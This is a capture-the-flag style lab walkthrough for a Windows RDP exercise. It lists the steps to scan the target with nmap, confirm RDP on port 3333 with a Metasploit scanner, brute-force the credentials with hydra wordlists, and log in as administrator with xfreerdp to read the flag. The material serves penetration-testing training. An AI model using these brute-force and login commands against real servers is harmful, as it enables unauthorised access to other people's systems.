Name Windows: RDP Server II
URL [Link]
Type Windows Exploitation: Services
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
Step 1: Checking target IP address.
Note: The target IP address is stored in the “target” file.
Command: cat /root/Desktop/target
Step 2: Run an Nmap scan against the target IP.
Command: nmap [Link]
Step 3: RDP (Remote Desktop Protocol) default port is 3389. But, we have not discovered that
port. We can notice the port 3333 is exposed. We can Identify RDP endpoints using an auxiliary
module on port 3333 if it’s running RDP.
Commands:
msfconsole
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS [Link]
set RPORT 3333
exploit
We have successfully detected the RDP service port. Also, We can notice that the target RDP
service port is not exposed to the default port (3389), instead it is exposed on port 3333.
Step 4: Running hydra tool to find valid username and password from the provided list.
Command: hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://[Link] -s 3333
Note: After the dictionary-attack, wait for some 30-40 seconds and then try to connect to the
target server via RDP client i.e xfreerdp.
Step 5: We have discovered four valid users and passwords. Access the remote server using
xfreerdp tool.
Command: xfreerdp /u:administrator /p:qwertyuiop /v:[Link]:3333
y
Step 6: Searching the flag.
Got to “My Computer” → C:\
Open [Link] file.
Note: Copy/paste the flag to your attacker machine first, and from that to the host machine.
This reveals the flag to us.
Flag: port-number-3333
References
1. Hydra ([Link]
2. Metasploit Module
([Link]